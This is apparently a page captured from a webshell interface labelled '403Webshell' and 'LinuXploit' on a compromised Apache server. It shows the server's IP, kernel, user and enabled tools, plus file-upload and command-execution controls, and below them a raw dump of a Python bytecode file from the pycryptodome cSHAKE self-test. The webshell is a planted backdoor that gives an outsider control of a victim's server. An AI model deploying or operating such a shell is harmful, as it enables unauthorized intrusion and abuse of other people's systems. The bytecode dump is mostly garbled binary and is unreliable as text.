403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/Cryptodome/SelfTest/Hash/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/Cryptodome/SelfTest/Hash/__pycache__/test_cSHAKE.cpython-311.pyc
�

8�tc��
�F�dZddlZddlmZddlmZddlmZmZm	Z	m
Z
ddlmZm
Z
mZGd�dej��ZGd	�d
e��ZGd�de��ZGd
�dej��ZdddefdddefgZeD�]\ZZZZedeed�d�d�d���pgZee��D]�\ZZeedd��dkred��Zn.eej��Zej e ej��dzksJ�eedd��dkre!d���eedd��dkred��Z"n.eej#��Z"ej$e ej#��dzksJ�eej%e"efd �Z&e'ed!eefze&���א�ifd"�Z(e)d#krddlZd$�Z*ej+d%�&��dSdS)'z;Self-test suite for Cryptodome.Hash.cSHAKE128 and cSHAKE256�N)�load_test_vectors)�list_test_cases)�	cSHAKE128�	cSHAKE256�SHAKE128�SHAKE256)�b�bchr�tobytesc�>�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	S)
�
cSHAKETestc���ddlm}|�|d��d��|�|d��d��|�|d��d��dS)Nr)�_left_encodes�s�s)�Cryptodome.Hash.cSHAKE128r�assertEqual)�selfrs  �F/usr/lib/python3/dist-packages/Cryptodome/SelfTest/Hash/test_cSHAKE.py�test_left_encodezcSHAKETest.test_left_encode(sv��:�:�:�:�:�:������a���+�6�6�6������a���+�6�6�6������c�*�*�O�<�<�<�<�<�c��ddlm}|�|dd��d��|�|dd��d��|�|dd��d	��|�|d
d��d��|�|dd��d
��|�|dd��d��|�|dd��d��|�|dd��d��dS)Nr)�_bytepadr�s�AsAsAAsAAsAAAsAAAsAAAAsAAAAsAAAAAsAAAAAsAAAAAAsAAAAAAsAAAAAAAsAAAAAAA)rrr)rrs  r�test_bytepadzcSHAKETest.test_bytepad.s1��6�6�6�6�6�6������#�q�)�)�+>�?�?�?������$��*�*�,<�=�=�=������%��+�+�]�;�;�;������&�!�,�,�.H�I�I�I������'�1�-�-�/F�G�G�G������(�A�.�.�0D�E�E�E������)�Q�/�/�1B�C�C�C������*�a�0�0�2P�Q�Q�Q�Q�Qrc��|j���}|j�td�����}|j����td����}|�|�d��|�d����|�d��|�|�d��|�d����|j���}|�d��}|j�td�����}|j�td�����}|�||�d����|�||�d����|j�td�����}|j�td��td�����}|j�td������td����}|�|�d��|�d����|�d��|�|�d��|�d����dS)N�90)�data�
�)�custom�foo)r"r)�cshake�newr	�update�assertNotEqual�readr)r�xof1�xof2�xof3�refs     r�test_new_positivezcSHAKETest.test_new_positive9s"���{��� � ���{���A�d�G�G��,�,���{��� � �'�'��$���0�0�����D�I�I�b�M�M�4�9�9�R�=�=�9�9�9��	�	�"�
�
�
�������2����	�	�"�
�
�6�6�6��{��� � ���i�i��m�m���{���a��e�e��,�,���{���a��h�h��/�/������d�i�i��m�m�,�,�,����C����2���/�/�/��{���a��h�h��/�/���{���a��h�h�Q�t�W�W��=�=���{���a��h�h��/�/�6�6�q��w�w�?�?�����D�I�I�b�M�M�4�9�9�R�=�=�9�9�9��	�	�"�
�
�
�������2����	�	�"�
�
�6�6�6�6�6rc���td��dztd��dzg}|j���}|�|d���|d��|�d��}|j���}|�|d|dz��|�|�d��|��dS)Nr ���i,rr)r
r$r%r&r(r)r�pieces�h�digests    r�test_updatezcSHAKETest.test_updateSs����r�(�(�S�.�$�r�(�(�S�.�1���K�O�O����	��������"�"�6�!�9�-�-�-���������K�O�O����	������V�A�Y�&�'�'�'����������V�,�,�,�,�,rc�z�|j���}|�t|jd��dS)N�string)r$r%�assertRaises�	TypeErrorr&)rr2s  r�test_update_negativezcSHAKETest.test_update_negative\s3���K�O�O�������)�Q�X�y�9�9�9�9�9rc
�"�|j���}|�d��}|�t	|tt
d��������|�t|��d��dS)N�Zr3)	r$r%r(�
failUnless�
isinstance�typer	r�len)rr2r3s   r�test_digestzcSHAKETest.test_digest`sp���K�O�O�����������	
���
�6�4��(���+<�+<�=�=�>�>�>�����V���b�)�)�)�)�)rc��|j���}|�td����|�d��|�t|jtd����dS)N�rrrrr;�ttt)r$r%r&r	r(r7r8)r�macs  r�test_update_after_readz!cSHAKETest.test_update_after_readhs`���k�o�o�����
�
�1�V�9�9��������������)�S�Z��5���:�:�:�:�:rc�
�td��D]r}|j�d��}|j�d��}|�|�|��|�|�����sdS)N�@sTEST)�ranger$r%�shakerr()r�
digest_lenr)r*s    r�
test_shakezcSHAKETest.test_shakens|����)�)�	K�	K�J��;�?�?�7�+�+�D��:�>�>�'�*�*�D����T�Y�Y�z�2�2�D�I�I�j�4I�4I�J�J�J�J�	K�	KrN)�__name__�
__module__�__qualname__rrr-r4r9r@rErK�rrr
r
&s�������=�=�=�	R�	R�	R�7�7�7�4-�-�-�:�:�:�*�*�*�;�;�;�K�K�K�K�Krr
c��eZdZeZeZdS)�
cSHAKE128TestN)rLrMrNrr$rrIrOrrrQrQv�������
�F��E�E�ErrQc��eZdZeZeZdS)�
cSHAKE256TestN)rLrMrNrr$rrIrOrrrTrT{rRrrTc��eZdZdS)�
cSHAKEVectorsN)rLrMrNrOrrrVrV�s�������DrrVzShortMsgSamples_cSHAKE128.txtzShort Message Samples cSHAKE128�
128_cshakezShortMsgSamples_cSHAKE256.txtzShort Message Samples cSHAKE256�
256_cshake)�Hash�SHA3c� �t|��S�N��int��xs r�<lambda>ra�s��s�1�v�v�rc� �t|��Sr\r]r_s rrara�����A���rc� �t|��Sr\r]r_s rrara�rcr)r?�nlen�slenr?r!�rezUnsupported cSHAKE test vectorrfc��|�||���}|�t|����}|�||��dS)N)rr")r%r(r?r)rr�resultr"�
test_class�hobjr3s       r�new_testrl�sJ���>�>�t�F�>�;�;�D��Y�Y�s�6�{�{�+�+�F����V�V�,�,�,�,�,rz
test_%s_%dc��g}|tt��z
}|tt��z
}|tt��z
}|Sr\)rrQrTrV)�config�testss  r�	get_testsrp�sB���E�	�_�]�
+�
+�+�E�	�_�]�
+�
+�+�E�	�_�]�
+�
+�+�E��Lr�__main__c�B�tjt����Sr\)�unittest�	TestSuiterprOrrrara�s��H�&�y�{�{�3�3�r�suite)�defaultTest),�__doc__rs�Cryptodome.SelfTest.loaderr�Cryptodome.SelfTest.st_commonr�Cryptodome.Hashrrrr�Cryptodome.Util.py3compatr	r
r�TestCaser
rQrTrV�vector_files�file�descr�tagrj�test_vectors�	enumerate�idx�tv�getattrr�msgr?�
ValueErrorr"�srf�mdrl�setattrrprLru�mainrOrr�<module>r�se��6B�A�����8�8�8�8�8�8�9�9�9�9�9�9�D�D�D�D�D�D�D�D�D�D�D�D�6�6�6�6�6�6�6�6�6�6�MK�MK�MK�MK�MK��"�MK�MK�MK�`�����J����
�����J����
	�	�	�	�	�H�%�	�	�	�1�2S�Ua�cl�m�0�2S�Ua�cl�m�o��%1�D�D� �D�%��j�$�$�%5�t�U�-=�-=�.>�.>�.>�.>�&@�&@�A�A�G�EG��
�9�\�*�*�D�D���R��7�2�u�a� � �A�%�%��1�R�5�5�D�D��7�2�6�?�?�D��6�S�S���[�[��]�*�*�*�*��7�2�v�q�!�!�Q�&�&��*�=�>�>�>��7�2�v�q�!�!�Q�&�&��Q�r�U�U�F�F��W�R�T�]�]�F��7�c�c�"�$�i�i��k�)�)�)�)� $�R�U�6�j�	-�	-�	-�	-�
	��
�|�s�C�j�8�(�C�C�C�C�'D�,������z����O�O�O�3�3�E��H�M�g�&�&�&�&�&�&��r

Youez - 2016 - github.com/yon3zu
LinuXploit